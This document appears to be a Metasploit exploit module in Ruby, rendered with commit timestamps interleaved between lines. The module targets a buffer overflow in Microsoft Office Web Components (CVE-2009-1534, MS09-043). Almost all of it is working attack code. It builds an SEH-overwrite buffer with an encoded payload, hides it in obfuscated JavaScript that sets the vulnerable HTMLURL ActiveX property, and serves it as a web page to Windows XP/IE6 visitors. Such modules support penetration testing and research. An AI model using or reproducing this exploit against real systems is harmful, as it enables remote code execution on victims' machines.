2010-03-03 18:12:37 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2010-03-03 18:12:37 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Microsoft's Office Web Components.
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When passing an overly long string as the "HTMLURL" parameter an attacker can
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execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2009-1534' ],
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[ 'OSVDB', '56916' ],
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[ 'BID', '35992' ],
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[ 'MSB', 'MS09-043' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\xf0",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# 'ProgId' => "OWC.Spreadsheet.9"
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# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
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[ 'Windows XP SP3 - IE6 - Office XP SP0',
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{
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'ClassId' => "0002E510-0000-0000-C000-000000000046",
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'Offset' => 31337,
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'Ret' => 0x42424242 # p/p/r in msohev.dll ??
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}
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],
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[ 'Windows XP SP3 - IE6 - Office XP SP3',
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{
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'ClassId' => "0002E511-0000-0000-C000-000000000046",
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'Offset' => ((4096*7) + 1076),
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'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
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}
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]
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],
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'DisclosureDate' => 'Aug 11 2009',
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'DefaultTarget' => 1))
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register_options(
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[
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OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
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], self.class)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def big_alnum(num)
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divisor = 2048 + rand(2048)
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pad_pages = num / divisor
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pad_left = num % divisor
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ret = ''
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ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
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ret << rand_text_alphanumeric(pad_left) if pad_left
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ret
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end
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def on_request_uri(cli, request)
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2010-03-06 04:36:16 +00:00
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=begin
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2013-08-30 21:28:54 +00:00
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# Only respond to any client twice...
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if (@sent[cli.peerhost] > 1)
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send_not_found(cli)
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return
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end
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@sent[cli.peerhost] += 1
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2010-03-06 04:36:16 +00:00
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=end
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2013-08-30 21:28:54 +00:00
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# ActiveX parameter(s)
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clsid = target['ClassId']
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Exploitation parameter(s)
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seh_offset = target['Offset']
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Build the buffer.
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string = big_alnum(seh_offset)
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string << generate_seh_record(target.ret)
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string << payload.encoded
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string << big_alnum(40960 - string.length)
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string = Rex::Text.to_unescape(string)
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Randomize the object and function names
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objid = rand_text_alpha(8+rand(8))
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fnname = rand_text_alpha(8+rand(8))
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Build the final JavaScript
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js = %Q|
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2010-03-06 04:36:16 +00:00
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function #{fnname}()
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{
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2010-04-30 08:40:19 +00:00
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var ver1 = -1;
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var ver3 = -1;
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try {
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ver3 = #{objid}.Version.split('.')[3];
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ver3 = parseInt(ver3);
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ver1 = #{objid}.Version.split('.')[0];
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ver1 = parseInt(ver1);
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} catch (e) { }
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if (ver1 == 9 && ver3 <= 8966)
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{
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history.go(0);
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#{objid}.HTMLURL = unescape('#{string}');
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}
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2010-03-06 04:36:16 +00:00
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}
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Obfuscate the javascript
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opts = {
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'Strings' => false, # way too slow to obfuscate this monster
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'Symbols' => {
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'Variables' => %w{ long ver1 ver3 },
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate()
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2010-03-06 04:36:16 +00:00
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#<body onload="history.go(0); #{fnname}()">
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Build the final HTML
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content = %Q|<html>
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2010-03-03 18:12:37 +00:00
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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2010-03-06 04:36:16 +00:00
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<body onload="#{fnname}()">
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2010-03-03 18:12:37 +00:00
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<object classid="clsid:#{clsid}" id="#{objid}">
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</object>
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</body>
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</html>
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2013-08-30 21:28:54 +00:00
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print_status("Sending #{self.name}")
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Transmit the response to the client
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send_response_html(cli, content,
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{
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# The vuln requires that this be the same on both requests.
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'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
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})
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2010-03-03 18:12:37 +00:00
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2013-08-30 21:28:54 +00:00
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# Handle the payload
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handler(cli)
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end
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2010-03-03 18:12:37 +00:00
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2010-03-06 04:36:16 +00:00
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2010-03-03 18:12:37 +00:00
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end
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